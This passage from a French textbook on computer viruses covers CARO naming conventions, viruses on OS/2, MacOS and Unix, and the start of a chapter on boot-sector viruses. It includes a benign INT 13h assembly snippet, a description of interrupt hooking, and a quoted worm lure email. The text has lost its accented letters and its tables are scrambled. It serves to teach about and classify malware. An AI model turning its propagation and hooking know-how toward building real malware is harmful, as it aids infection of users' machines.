une marque dpose ; il faut utiliser PalmOS pour dfinir la plate-forme. Exemple : PALM/Fatal Un code malveillant cach au sein dun document PDF nest pas ncessairement un virus PDF. VBS/Peachy utilise les fichiers PDF comme mode de transport, son fonctionnement ncessite la prsence dune version complte dAdobe Acrobat afin dtre mme de dcompacter le script en Visual Basic li au processus de rplication. Il sagit donc dun virus VBS et lidentifiant PDF est donc aujourdhui malvenu. Exemple : PDF.Yourde

HTML

HTML

IIS

IIS

JV

Java

MPF

MultiPlatform

.Net

DotNet

Palm

PalmOS

PDF

PDF

3.4 La classification des virus

119

Forme courte SWF

Forme longue ShockWaveFlash

Environnement/Remarques Lidentifiant SWF fut utilis loccasion de lapparition du virus un moment dnomm SWF/LFM.926. Il sagit en fait dun virus multi plates-formes dont llment infectieux est un fichier DOS de type .COM. Du code ActionScript, absent de certains lecteurs SWF est stock dans des fichiers ayant cette extension. Le nom complet du virus est donc virus://{DOS,ActnS}/LFM.926.A que lon peut (abusivement) limiter LFM.926 (pour la composante DOS) et ActnS/LFM.926 pour limplanteur. Un programme utilisant une spcificit lie Windows ME et ne fonctionnant pas sous NT, Win2K, XP doit tre classifi comme Win32. Exemple : WME/Wide-A Certains dveloppeurs classifient WinNT des programmes ncessitant lusage dune version Windows NT ou ultrieure. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 Exemple : WNT/Harmless Certains dveloppeurs classifient comme WinXP des programmes ncessitant lusage dune version Windows XP ou ultrieure. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 Exemple : WinXP.Che Certains dveloppeurs classifient commeWin2K des programmes ncessitant lusage dune version Windows 2000 ou ultrieure. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 Exemple : W2K/Dob Lidentifiant correct est Win16 Exemple : W31.NEHeader Certains programmes malveillants fonctionnent sous Windows 95, 98, 98SE et/ou ME mais ne fonctionnent pas sous NT, Win2K ou XP. Quelques produits classifient toujours ces lments qui utilisent les mcanismes VxD et / ou quelques spcificits lies aux plates-formes Win9x comme Win95. Il a t dcid de les classer en temps que Win32. Exemple : W95/CIH Certains programmes malveillants fonctionnent sous Windows 98, 98SE et/ou ME mais ne fonctionnent pas sous NT, Win2K ou XP. Quelques produits classifient toujours ces lments quelques spcificits lies aux plates-formes Win98/ME comme Win98. Il a t dcid de les classer en temps que Win32. Exemple : W98/Hatred.A

WinME, WME

WindowsME

WNT, WinNT

WindowsNT

WXP, WinXP

WindowsXP

W2K, W2000, Win2K, Win2000

Windows2K, Windows2000

W3X, W31, Win3X, Win31


Dunod La photocopie non autorise est un dlit

Windows3X, Windows31 Windows95

W95, Win95

W98, Win98

Windows98

120

Chapitre 3. Notions fondamentales

Nom de Famille
lment non optionnel, le nom de famille est le composant cl de la dnomination. Cest celui qui anime le plus les dbats et amne le plus de rclamations. En dehors de lentourage des chercheurs, cest souvent le seul que les mdias et les utilisateurs retiennent. Les rgles mises en 1991 par le CARO ont t amendes. Le projet de rglementation actuel stipule de ne jamais : Employer des noms de compagnie, des noms de marque ou des noms des personnes vivantes. Lutilisation du nom ou du pseudonyme de lauteur prsum du virus est maintenant fortement dconseille : Il fournit lauteur une certaine reconnaissance, principale motivation de nombreux dentre eux. Il risque de vite devenir inconsistant car un mme auteur cre souvent des virus de plusieurs types. Sans tre encourags dans leur utilisation, les prnoms courants sont permis. Les noms lis, de prs ou de loin, au monde de lanti-virus sont particulirement vits. Des noms ou des termes prcis que le concepteur du code souhaiterait voir repris sont souvent dnaturs avant dtre utiliss comme nom de famille. Cette pratique nest pas directement prconise mais savre parfois utile en cas de manque dinspiration. Reprendre un nom de famille existant. Ce nom doit rester unique. Sil a t utilis comme dnomination pour une plate-forme, il ne doit pas ltre sur une seconde, sauf sil existe des similitudes flagrantes ou sil sagit de la mme malveillance sattaquant plusieurs plates-formes. Imaginer un nouveau nom pour un virus appartenant une famille existante. Des auteurs diffrents et des routines dactivation divergentes nentranent pas la cration dune famille. Laffiliation se fait au regard de similitudes de code touchant les principes fondamentaux de la classe de malveillance. Pour un virus, le mcanisme dinfection est donc laspect primordial prendre en compte : cest de par sa capacit de propagation quun code va appartenir, ou non, la famille virale. Employer de noms obscnes ou blessants. Le choix dun nom de famille la vue dun texte crit dans une langue inconnue doit tre pralablement contrl. Certains termes peuvent avoir des connotations religieuses et devenir offensants pour certains groupes partir du moment ou ils sont associs un lment malveillant. Reprendre, sans en vrifier la justesse, le nom du fichier dans lequel est fournit la souche virale. Ce nom peut cependant tre une piste intressante que le chercheur pourra exploiter grce VGREP1.
1. VGREP est une base de donne croise utilise par les chercheurs et mise jour de faon mensuelle. Elle permet une recherche sur la base de mots cls. Chaque lment y est prsent selon les noms de baptmes des principaux outils de dtection.

3.4 La classification des virus

121

Dutiliser des suites numriques. Pour des raisons dj expliques, cette pratique jusquici simplement dconseille est aujourdhui proscrire. Les noms numriques entrent aussi dans cette catgorie (exemple Eight941). Outre ces interdictions, on sapplique suivre les recommandations suivantes en vitant dutiliser : Le nom propos ou suggr par lauteur. Cette reprise pourrait tre considre comme une sorte de reconnaissance. Face certains virus la propagation explosive, lutilisation de ce nom peut cependant permettre dviter la multiplicit des appellations prises dans la prcipitation. En effet, si la concertation est souvent de mise, elle est parfois rendue difficile lorsquune menace majeure apparat et quil faut y rpondre sans attendre. Cette abondance des noms est alors particulirement dommageable puisquelle intervient un moment ou le public est largement inform par les mdias. Le nom par lequel le programme circule. Beaucoup de mass-mailers se diffusent au travers dun fichier la dnomination constante. Les variantes qui ne manquent pas dapparatre se diffrencient souvent par un nouveau nom. Elles sont parfois plus prolifiques qu lorigine et une appellation malta propos engendre des incomprhensions. Dautres mass-mailers choisissent aussi des noms dune manire plus ou moins alatoires. Ceux-ci peuvent se retrouver, par ailleurs, comme nom lgitime au titre dune entreprise ou dun particulier et engendrer de fausses inquitudes. Des noms de jours lis des dates dactivation. Des reprises de textes qui peuvent facilement changer dune variante lautre. Des noms gographiques bass sur lemplacement de la dcouverte. Si plusieurs noms sont dj connus et acceptables, on utilise de prfrence celui qui a t donn par le chercheur qui a, le premier, isol la souche.

Dunod La photocopie non autorise est un dlit

Nom de Groupe
Tout comme par le pass, le nom de groupe sapplique un ensemble important de virus semblables dans une mme famille. Cette identifiant fut largement utilise dans le monde des anciens virus DOS. Il est aujourdhui peu employ et tend tre ignor pour les menaces actuelles.

Taille
Ce champ sintitulait rang de variante majeure dans la prcdente rglementation. Le nom actuel officialise le fait quil nest utilis que pour les virus fonctionnant par ajout. Il indique la taille du code joint.

122

Chapitre 3. Notions fondamentales

Cette information nest de fait utile que dans ce cas prcis et ne sapplique quaux virus binaires. Une exception existe cependant dans le cas de certains virus multipartites. Un virus tel que W97M/Beast.41472.A comporte une indication de taille. Cette taille est celle du virus Windows associ. Le nom complet tant : virus://{W32, W97M}/Beast.41472.A. Sans cette indication, la confusion peut facilement sinstaurer lapparition de nouvelles variantes et il ne serait plus possible de relier une macro particulire son chier binaire associ.

Rang de Variante Mineure & Dvolution


Linformation de dvolution nexiste quassocie certains rangs de variantes mineures. Cet ensemble forme un tout et cest uniquement par souci de clarification que le champ dvolution est dcrit au paragraphe suivant. Le rang de variante mineure est constitu dune ou plusieurs lettres qui sincrmentent au l de lapparition des variantes (A, B, C, Z, AA, AB, AC, etc.). Il concerne des virus de mme taille (lorsque cette information sapplique) ou de mme structure et comportement. Pour les virus programmes binaires, il diffrencie une lgre variation dun mme code. Pour la majorit des macro-virus, des virus de script et des programmes non autoreproducteurs, le rang de variante mineure est souvent le premier niveau de diffrenciation. Il est situ juste derrire le nom de groupe. Linformation de taille est en effet inutile ; particulirement pour les macro-virus et les virus systme. Les programmes malveillants daujourdhui appartiennent souvent au monde Windows (Win32). Ce sont frquemment des virus et des chevaux de Troie dont la taille ne se limite pas quelques kilo-octets. Alors que cette information, souvent inutile, prendrait 5 ou 6 digits, on lui prfre donc le rang de variante mineure comme lment distinctif. De par ce choix, le nom devient galement plus convivial. Il est plus facile pour le public de distinguer : Win32/FooBar.A et Win32/FooBar.B, plutt que, Win32/FooBar.123456.A de Win32/FooBar.123457.A. Un nom doit toujours inclure un identiant de rang mineur. Sil sagit dun premier lment dun nouveau groupe, on doit lui attribuer le rang A. Ce mme nom sans indication de rang, sil est utilis par un anti-virus, doit tre considr comme un nom gnrique derrire lequel se cache plusieurs variantes dtectes par une seule signature.

Dvolution
Ce sont certains macro-virus qui ont amen la communaut anti-virale dfinir la notion de dvolution. Elle dfinit un processus qui, sous certaines conditions spontanes, cre une variante diffrente qui se rpliquera ensuite de manire rcursive

3.4 La classification des virus

123

sans tre mme de revenir sa forme initiale en labsence dune intervention extrieure quelconque. On dit alors que le nouvel lment cr a une forme dvolue ou est une dvolution du virus original. Lidentifiant est numrique, il est directement accol au rang de variante mineure. Citons comme exemple WM/Rapi.A. Selon la manire dont il se duplique, le virus installe parfois un nombre infrieur de macros. Dans ce cas il reste infectieux rcursivement mais ne retrouvera plus sa conguration dorigine au l des nouvelles infections. Cette premire forme dvolue prend le nom de WM/Rapi.A1. Celle ci est viable mais peut par la suite perdre dautres macros tout en restant virale. La seconde forme prend alors le nom de WM/Rapi.A2. W97M/Eight941.A est un exemple diffrent de dvolution. Le virus peut muter indiffremment vers les tats A1 ou A2 sans jamais rintgrer ltat initial. La notion de non retour vers ltat initial est fondamentale. Le virus WM/ Johnny.A fut un moment considr comme un virus capable de dvolution. Les chercheurs anti-virus lon ensuite retir de cette catgorie lorsquils se sont rendu compte quil pouvait reprendre, de lui-mme, son tat initial sous certaines circonstances. Des virus de ce type peuvent nanmoins tre capables de retrouver leur forme parentale initiale sils se reproduisent dans un environnement dj infect par leur gniteur. Ils seront cependant considrs comme de vritables dvolus sils en sont incapables depuis un environnement sain (ce qui se produit naturellement lorsquun lment infectieux dvolu est transfr dune machine infecte une machine non infecte). En thorie, la forme originale de ces virus devrait tre affecte dun rang de dvolution 0. Il devrait en tre de mme pour les virus inaptes la dvolution. Par commodit, lindicateur de dvolution nest prsent quen cas de ncessit pour des virus qui peuvent prendre des formes diverses dans leur environnement naturel. Notons enn que certains produits utilisent cet indicateur mauvais escient pour reprer des sous-ensembles viraux ayant fait lobjet dune radication partielle.
Dunod La photocopie non autorise est un dlit

Singularit
Bien que la rgle ci-dessus dfinie soit suffisante pour un rfrencement non ambigu, certaines fonctionnalits associes sont plus significatives que dautres. Ver les annes 1990, elles taient souvent lies des techniques dencapsulage polymorphique ou de compression. Ddi cet effet, lindicateur de singularit na jamais t srieusement utilis par le pass. On lui prfre aujourdhui une nouvelle forme plus complte et plus adapte aux techniques virales du moment. Sa nouvelle formulation est :
[[:<localisation>][#<compacteur>][@m|mm][!<spcifique-vendeur>]]

La classication ntant pas acheve en mars 2005, ces singularits ne sont pas toutes en vigueur. Certaines risquent mme de disparatre.

124

Chapitre 3. Notions fondamentales

1) :<Localisation> Lavnement dune des premires variantes du virus Concept est lorigine de ce champ. Elle prit le nom de virus://WM/Concept.B:Fr et indiquait ainsi la ncessit dune plate-forme franaise de Microsoft Word pour voir se propager le virus.
La version premire du virus est aussi dpendante du langage ; il fut cependant dcid de ne lindiquer que pour les plates-formes diffrentes de langlais. Son format dbute par deux points ; il est suivi de deux lettres reprsentatives du pays. La premire, de prfrence en majuscule et la seconde en minuscule. Aucun standard particulier nest utilis pour dnir cette liste qui nest dailleurs pas aussi ne dans ses distinctions que ne lest Microsoft Ofce lui-mme (France, France (Canada), Portugal, Portugal (Brsil), etc.). En cas de ncessit, plusieurs dpendances de langage peuvent se retrouver listes entre accolades. Dautres plates-formes tels que le VBA sont dpendantes des jeux de caractres installs (MBCS Multi-Bytes Character Set). Ils peuvent affecter le bon fonctionnement dun virus et faire lobjet dune indication. Les virus connus pour fonctionner sur plusieurs plates-formes MBCS alors quils ne fonctionnent pas en labsence de celles-ci se sont vus attribuer la singularit :Tw (pour Taiwan). On lui prfre aujourdhui lidentiant :Uni.

2) #<compacteur>[-hack] Certains programmes malveillants connus sont parfois modifis extrieurement. Il leur est rajout une ou plusieurs couches complmentaires de camouflage par le biais de moteurs polymorphes (MTE, TPE) ou de compacteurs. Sil sagit dun virus qui est ensuite capable de se propager en rutilisant de lui-mme ce procd complmentaire, on se propose de lui attribuer une singularit spciale qualifiant ce fait.
Aujourdhui, seuls quelques anciens virus sont affects de cette singularit (exemple : Questo.2906#MTE, Civil_War.2223#TPE, Terrax.2874#SDFE, Teacher.3197#DSME). Elle concerne des moteurs polymorphiques ddis au monde viral. Nick Fitzgerald propose dtendre cette notion aux malveillances utilisant des compacteurs du commerce dans leur version standard ou pirate (exemple #UPX). Le sufxe -hack serait rajout dans la mesure o le produit (runtime) aurait subi une modication de la part de lauteur du virus.

3) @M|MM Avec limportance du courrier lectronique, les notions dauto expdition (selfmailer), et dexpdition en masse (mass-mailer) sont devenues des proccupations prpondrantes pour les utilisateurs de linformatique.
Il existe aujourdhui deux identiants lis aux virus mettant en uvre des techniques dauto expdition. Ils concernent des virus capables denvoyer des copies deux mme depuis une machine infecte vers dautres cibles par le biais du courrier lectronique.

3.4 La classification des virus

125

La diffrence entre ces deux identiants est lie au nombre de mails mis en jeu. Un virus avec lidentifiant @M est un expditeur lent. Il met de lui-mme un courrier chaque fois que sa victime en expdie un. Il se peut aussi quun ou deux mails soient envoys chaque dmarrage de la machine. Le suffixe @MM sapplique une expdition rapide et massive. Elle ne se produit parfois quune seule fois ; gnralement (mais pas ncessairement) dans linstant qui suit la premire excution du code malicieux. La diffrence entre lent et rapide ne fait pas lobjet dune dnition nette et prcise. Elle nest que le reet de la capacit potentielle relle qua le virus se propager. Si le processus de propagation nest pas oprationnel, lidentiant ne doit pas tre indiqu. Il nest pas possible de rencontrer un nom tel que : intended://VBS/FooBar.A@MM. Laffectation de ces singularits sappliqua dabord aux macro-virus. Sous limpulsion de Vesselin Bontchev, le CARO adopta tout dabord lutilisation du sufxe @MM. En janvier 2000, lors dchanges sur lun de nos forums privs, je tentai den prciser lutilisation: Le sufxe @MM est ddi aux virus/vers qui possdent un processus <OPERATIONNEL> de propagation par messagerie. Outre linfection via la messagerie, ces macro-virus ont gnralement un processus dinfection standard DOC<->DOT. 7 cas sont rfrencs : 1. Les deux modes dinfections sont fonctionnels. On utilisera le suffixe @MM (exemple W97M/Melissa.A@MM). 2. Le mode DOC<->DOT ne fonctionne pas ou nexiste pas. La propagation se fait uniquement par mail. On utilisera le suffixe @MM (exemple W97M/ Melissa.T@MM). 3. Le mode messagerie ne fonctionne pas. La propagation se fait uniquement de fichier fichier (DOC<->DOT). Pas de suffixe (exemple W97M/Mck.H). 4. Aucun processus dinfection nest oprationnel. Il y a copie vers le NORMAL.DOT mais linfection rcursive choue. Cest la cration dun auteur de virus, celui-ci est un intended, sans suffixe. 5. Aucun processus dinfection nest oprationnel. Pas de copie vers le NORMAL.DOT, pas de rcursivit. Cest la cration dun auteur de virus, celui-ci est un intended, sans suffixe. 6. Aucun processus dinfection nest oprationnel. Il y a copie vers le NORMAL.DOT mais linfection rcursive choue. Cest une corruption ou un objet gnr automatiquement, celui-ci nest rien du tout ! 7. Aucun processus dinfection nest oprationnel. Pas de copie vers le NORMAL.DOT, pas de rcursivit. Cest une corruption ou un objet gnr automatiquement, celui-ci nest rien du tout !

Dunod La photocopie non autorise est un dlit

126

Chapitre 3. Notions fondamentales

Aujourdhui, un consensus gnral a vu le jour. Tout virus (et non plus seulement les macro-virus) qui cible de multiples boites lettres se voit affect du sufxe @MM. Citons titre dexemple: W32/PrettyPark@MM, VBS/Loveletter.A@MM. Mme sils sont aussi trs rpandus, les avis furent longtemps partags quant lattribution du sufxe pour les virus tels que W32/Ska ou JS/Kak. Jai tout dabord souhait quils se voient attribuer ce mme sufxe. Cherchant un compromis avec mes collgues, je proposais en juillet 2000 la cration du sufxe @M. Pour ces virus, la propagation est moins explosive. Certains dentre eux rent pourtant plusieurs fois le tour de la plante ; ce ne fut quune question de temps. Qui plus est, pour Kak et Ska, leur prdominance perdura plusieurs annes. Continuant ma croisade pour une standardisation et une rigueur de dnomination, jai poursuivi mon travail pour que se gnralise ce nouveau sufxe. Quils aient une propagation lente ou rapide et massive, les mass-mailers se dnissent maintenant de la manire suivante : Le suffixe @M est ddi aux virus/vers qui possdent un processus <OPERATIONNEL> de propagation par messagerie et qui cible une seule boite lettres chacune de leur activation. Le suffixe @MM est ddi aux virus/vers qui possdent un processus <OPERATIONNEL> de propagation par messagerie et qui cible plusieurs boites lettres chacune de leur activation. Outre linfection via la messagerie, ces virus/vers peuvent galement avoir un processus dinfection standard DOC <-> DOT ou plus gnralement FICHIER <-> FICHIER. Parmi les 7 cas rfrencs au paragraphe prcdent, on retiendra pour les 2 premiers : Les 2 modes dinfections sont fonctionnels. On utilisera le suffixe adquat (exemple W97M/Melissa.A@MM, W95/Babylonia@M, W32/MTX@MM). Le mode FICHIER <-> FICHIER ne fonctionne pas ou nexiste pas. La propagation se fait uniquement par mail. On utilisera le suffixe adquat (exemple W97M/Melissa.T@MM, JS/Kak.A@M, W32/Ska@M, VBS/Loveletter.A@MM). Mme si pour dobscures raisons le tiret remplace larobase; compter de septembre 2000, la WildList utilisait, elle aussi, ce standard.

4) !<spcique-vendeur> Ce champs est l pour permettre de grer les carts que les chercheurs de telle ou telle compagnies sont amens faire lorsquils doivent sadapter la demande de leurs clients, ou lorsquils souhaitent prciser un dtail technique li une menace prsente ou mergente.

3.5 Les autres environnements

127

Lexemple le plus visible aujourdhui est !p2p qui dcrit des virus utilisant le mode poste poste (peer-to-peer) pour se propager (exemple : W32/Benjamin.worm !p2p).

3.5 LES AUTRES ENVIRONNEMENTS


Mme si Microsoft Windows est aujourdhui le principal vecteur dinfections virales, les autres systmes dexploitations ne sont pas labri des infections. Sils sont moins touchs, cest moins du fait de leur niveau intrinsque de scurit que du fait du dsintrt des auteurs de virus qui prfrent sattaquer au leader mondial.

3.5.1 OS/2
Le systme dexploitation 32 bits cr par IBM (Operating System 2) nest pas insensible aux virus DOS. Les virus systme peuvent tout fait infecter une machine fonctionnant sous OS/2. Cependant le virus sera bloqu dans sa phase de propagation. Une activation de la charge nale du virus (comme le reformatage de certains secteurs du disque) est possible si la gchette de dclenchement effectue un test lors de lexcution initiale du virus. Limplantation du virus dans un environnement qui nest pas celui escompt peut aussi dnitivement endommager la machine qui ne parviendra plus terminer sa squence de dmarrage. En session DOS, la propagation danciens virus programme reste possible sous rserve que le virus nutilise pas de fonctions trop spciques. Il existe depuis 1995 des virus ddis aux chiers applicatifs OS/2 (LE Linear Executables et LX). Les premiers dentre eux apparurent en juin et se nomment OS2/ Myname et OS2/Jiskefet. Lun des plus volus a vu le jour un an plus tard et porte le nom de OS2/AEP.
Tableau 3.7 Quelques virus OS2 VIRUS OS2/MYNAME OS2/JISKEFET OS2/AEP TYPE Non Rsident Recouvrement Non Rsident, Ajout Non Rsident, Ajout ALIAS OS2/FIRST, OS2Vir DATE 06/95 06/95 06/96

Dunod La photocopie non autorise est un dlit

128

Chapitre 3. Notions fondamentales

3.5.2 MacOS
Les virus Windows nont aucun effet sur les Macintosh, il faut cependant prendre garde aux macro-virus et aux mass-mailers. Non dpendants de la plate-forme systme, les macro-virus se propagent au travers des outils bureautiques tels que ceux fournis par Microsoft. Les versions de Microsoft Ofce tournant sur Mac sont donc vulnrables. Associ un courrier lectronique, un chier attach infect peut trs bien transiter sur un Macintosh. Si lon y prend garde, il pourra tre reu puis retransmis sans simplanter sur la machine. La plupart des virus Macintosh connus sont bnins et ne dtruisent aucune donne. Ils se contentent dafcher des images ou des messages. Les virus Macintosh sont trs spciques et en nombre rduit. Ils ne peuvent pas infecter des programmes Windows. Il en existe une soixantaine. Le premier dentre eux date de 1987.
Tableau 3.8 Quelques virus Macintosh VIRUS MacOS/nVIR TYPE Infecte le systme et les applications Infecte les applications et les fichiers de donnes Infecte le bureau Via la fonctionnalit Lecture Auto (Autostart U.S.) du tableau de bord Rglages QuickTime (QuickTime settings U.S.) Ver AppleScript utilisant les fonctionnalits de script de Outlook Express et de Entourage AUTOSTART 9805 ALIAS Hpat, nFLU, AIDS, MEV#, Jude, Fuck, nCAM, zero DATE 1987

MacOS/INIT 29.a MacOS/CDEF.a MacHC/Autostart.a

1988 1990 1999

MacOS/Simpsons@MM

06/01

Deux virus doivent retenir notre attention : MacOS/Autostart et MacOS/Simpsons@MM. Le premier dentre eux affecte les PowerPC. Il sintroduit sur le bureau sous forme de chier invisible. Le second se propage via la messagerie lectronique tout comme les nombreux mass-mailers du monde Windows. Il sagit du premier virus AppleScript utilisant les fonctionnalits de script de Outlook Express et de Entourage. Le ver arrive dans un e-mail avec deux pices jointes et le texte suivant :

3.5 Les autres environnements

129

Hundreds of Simpsons episodes were just secretly produced and sent out on the internet, if this message gets to you, the episodes are enclosed on the attachment program, which will only run on a Macintosh. You must have system 9.0 or 9.1 to watch the hilarious episodes, in high quality. Just download and open it. Pour cacher son activit, il pointe Internet Explorer vers un site Web concernant lmission tlvise Les Simpsons1. Les chiers joints sont : Secret Simpsons Episodes!, et Simpsons Episodes. Le premier chier est une copie MIME du mail et le second chier contient le script viral. Une fois lanc, il se place dans le dossier Startup Items pour sexcuter automatiquement.

3.5.3 UNIX
Le mythe qui consiste dire quUnix est insensible aux virus persiste toujours. Tout comme pour OS/2 les virus systme ddis au DOS peuvent tout fait affecter une machine fonctionnant sous Unix. Il ny aura pas propagation mais activation ventuelle de la charge finale (si elle existe) ou corruption du processus de dmarrage. Les projecteurs sont souvent braqus sur Linux, quelques virus existent cependant dans les environnements BSD et SunOS. Les virus possdant le prxe Unix sont multi plateformes.
Tableau 3.9 Quelques virus Unix-like VIRUS Unix/Scalper.worm
Dunod La photocopie non autorise est un dlit

TYPE BSD & LINUX Non Rsident, Ajout Non Rsident, Ajout, Crypt Rsident, Ajout Rsident, Ajout, Polymorphe, Point dEntre Obscure

ALIAS

DATE 09/02 02/97

Linux/Bliss.A (&.B) Linux/Glaurung.676 Linux/Siilov {W32, Linux}/Etap.D BSD/Walk.worm FreeBSD/Wowood SunOS/BoxPoison.worm

MANDRAGORE

01/00 01/00

{W32, LINUX}/ Simile.D

06/02 09/01 09/01 05/01

1. http://www.snpp.com/episodeguide.html.

130

Chapitre 3. Notions fondamentales

Les virus Unix existent depuis longtemps. Le premier dentre eux date de 1997 et se nomme Linux/Bliss. Dans un premier temps ils furent simples et non-rsidents en mmoire. Ils sont maintenant aussi performants que les virus 32 bits Windows. Ils mettent en uvre des techniques pointues de polymorphie et utilisent, pour certains, la technique du point dentre obscur qui rend leur dtection plus difcile que par le pass. En juin 2002, exploitant sans imperfection ces dernires techniques, apparat {W32, Linux}/Etap.D. Il sagit du premier virus mme dinfecter aussi bien les machines Windows que les machines Linux. galement connu sous les noms de {Win32, Linux}/Simile.D, il vrie, sa premire excution, la date du jour. Sil sagit du 17 mars ou du 17 septembre (sous Windows) ou du 17 mars ou du 17 mai (sous Linux) il afche une boite de dialogue prcisant son crateur : un certain Mental Driller, du groupe 29A.

4
Les virus systme

Les virus systme sont longtemps rests la principale menace. Mme sils ont aujourdhui disparu des machines modernes, leur description va permettre au lecteur une premire approche de la vision en mode hexadcimal que nous utiliserons intensivement dans le chapitre li aux virus programmes.

4.1 MISE EN MARCHE DUN MICRO-ORDINATEUR


Pour saisir le fonctionnement des virus systme il est ncessaire de comprendre les mcanismes de mise en route dun micro-ordinateur. La terminologie anglaise surnomme cette phase dactivit POST : Power-On Self-Test.

Figure 4.1 Processus de mise en route dun ordinateur

132

Chapitre 4. Les virus systme

la mise sous tension, le processus dbute par lexcution du BIOS1. Ce programme est contenu dans la ROM (mmoire morte), lEPROM ou la Flash EPROM (EEPROM) de la machine. Il teste la quantit de mmoire, le matriel et recherche les diffrentes units physiques pour trouver celles qui contiennent rellement un disque. Le BIOS utilise les paramtres de conguration de la mmoire RAM CMOS. Ceux ci contiennent entre autre le squencement par lequel les disques doivent tre activs. Par exemple : Lecteur de disquette. CD-ROM. Disque dur C:. Le premier secteur de lunit choisie est alors charg en mmoire vive (RAM) et excut. Il va permettre la recherche du systme dexploitation. Sur les disquettes, ce secteur est un court programme qui teste la prsence du systme DOS et le charge. Si celui ci est absent, cest ce programme qui afche le message : Disque non systme. changer de disque et appuyer sur une touche. Avec les systmes dexploitation Windows NT, on rencontre galement le message : NTLDR manque. Appuyez une touche pour redmarrer. Sur un disque dur, ce premier secteur est le secteur des partitions, ou Master Boot Record (MBR). Il dcrit la structure logique du disque et re-dirige le programme dinitialisation vers la partition active. Celle ci concide gnralement avec le premier disque logique. Pour un fonctionnement correct, cette unit doit tre amorable et contenir un systme dexploitation. Dans le cas contraire le message dj mentionn ci-dessus apparatra. La main est ainsi donne au premier secteur de la partition active. Cest le secteur de dmarrage, ou Boot sector. Il contient une routine appele Boot Strap Loader. Cest elle qui effectue la recherche du systme dexploitation en RAM. Il sagit soit : des fichiers IBMBIO.COM et IBMDOS.COM (ou IBMDOS.SYS et IBMBIO.SYS) pour les versions PC-DOS dIBM, des fichiers IO.SYS et MSDOS.SYS pour les versions MS-DOS ou Windows 9X de Microsoft,

1. Basic Input Output System.

4.1 Mise en marche dun micro-ordinateur

133

du fichier NTLDR pour les versions Windows NT/2K/XP de Microsoft. Ces chiers se trouvent directement la racine du disque dur et permettront le chargement du noyau de lOS.

4.1.1 Lorganisation de la mmoire


Le mode rel, cest le mode du 8086. On a accs un mga-octet la fois. Quand un 80386 (ou au-del) dmarre, il le fait en mode rel. Cest compter du lancement de NTLDR que le processeur bascule vers le mode dadressage mmoire 32 bits ou mode protg pour ensuite aboutir linvite douverture de session. Le BIOS se recopie en mmoire vive dans la zone qui le recouvre (ROM BIOS). Les vecteurs dinterruption et les variables quil initialise (RAM BIOS) sont dans une zone rserve au tout dbut de la mmoire. Elle est accessible par nimporte quel programme. Vient ensuite le systme dexploitation qui utilise un espace plus ou moins important selon les versions et les pilotes de priphriques installs.

Dunod La photocopie non autorise est un dlit

Figure 4.2 Organisation du premier mga-octet de la mmoire

Pour adresser le premier mga-octet, il faut 20 bits dadresse. Elles sexpriment toujours sous forme Segment:Offset (exemple : A000h:0000h). Le calcul dune adresse mmoire se fait par laddition dune base (le segment) et dun dplacement (loffset), tous deux de 16 bits. La base est dcale de 4 bits avant laddition pour obtenir une adresse physique de 20 bits. Exprim en hexadcimal, ladresse de dmarrage des PC se trouve en FFFFh:0000h. FFFFh est le segment et 0000h est loffset. Cela correspond ladresse linaire FFFF* + *0000 = FFFF0h o ltoile indique un dcalage.

134

Chapitre 4. Les virus systme

Figure 4.3 Calcul dune adresse mmoire

Les donnes gnres par le BIOS sont localises compter de ladresse 0040h:0000h. Nous en retrouverons certaines, plus tard, dans ce chapitre. Il sagit de : la taille de la mmoire RAM : (0040h:0013h // 413h), le chronomtre (0040h:006Ch // 46Ch). Cette valeur, intitule aussi compteur de ticks, est incrmente chaque appel de lhorloge (timer), soit approximativement 18,2 fois par seconde. Le secteur de partition est charg en mmoire par le BIOS ladresse 0000h:7C00h.

4.1.2 Les interruptions


Les interruptions sont des sous-programmes particuliers lis au fonctionnement de lordinateur. crites en assembleur, elles grent les vnements internes et externes et dialoguent avec le processeur. Elles se divisent en deux catgories : les interruptions matrielles coordonnent les vnements internes. Elles sont gnres par les composants matriels tels que le clavier ou lhorloge interne, les interruptions logicielles coordonnent les vnements externes. Elles agissent en quelque sorte comme des sous-programmes. Quil soit sain ou infect, le secteur de dmarrage est charg et excut avant le systme dexploitation. Lensemble des services dinterruptions nest pas encore accessible et il faut se reposer sur les services offerts par le BIOS. Ni les interruptions lectroniques (par exemple : le clavier), ni celles du DOS (par exemple : laccs aux systmes de chiers) ne sont disponibles. Certaines le sont nanmoins ; la plus importante est linterruption 13h. Elle permet laccs aux disques en mode physique. Elle est dclenche laide de linstruc-

4.1 Mise en marche dun micro-ordinateur

135

tion INT du langage machine. Les paramtres sont passs dans les registres. Ils sassocient des fonctions prcises. Parmi les plus courantes, citons : la lecture de secteurs, fonction 02h, lcriture de secteurs, fonction 03h, la lecture des paramtres dune unit, fonction 08h. Voici titre dexemple, un petit programme en assembleur qui lit le secteur contenant les informations sur les partitions.
Buf ... Mov Mov Mov Mov Mov Mov Push Pop Mov Int DB ah,02h al,01h ch,00h cl,01h dh,01h dl,80h ds es bx, Offset Buf 13h 512 DUP (?) ; ; ; ; ; ; Fonction 2 Lire 1 secteur Cylindre 0 Secteur 1 Tte 0 Disque C :

; es ds ; Adresse zone mmoire de sauvegarde ; Lire le secteur

Figure 4.4 Exemple dappel dune interruption

Un virus ne va pas se contenter dutiliser les interruptions. Il va les dtourner. Cela permettra lexcution du code viral pralablement celui de la fonction attendue. Les interruptions sont stockes en mmoire des adresses xes. La table suivante donne ladresse de quelques vecteurs dinterruption ainsi que les services rendus par chacun deux.
Dunod La photocopie non autorise est un dlit

Tableau 4.1 Quelques interruptions et leurs adresses linaires hexadcimales N 08h 12h 13h 1Ah 1Ch 21h Adresse linaire (hexadcimal) 020-023 048-04B 04C-04F 068-06B 070-073 084-087 Fonction IRQ0 : Timer (Appel 18,2 fois par secondes) BIOS : Dtermination taille RAM BIOS : Fonction disquettes/disque dur BIOS : Lecture date et heure Appel aprs chaque INT 08h DOS : Fonction du DOS

136

Chapitre 4. Les virus systme

4.2 MODE DE PROPAGATION


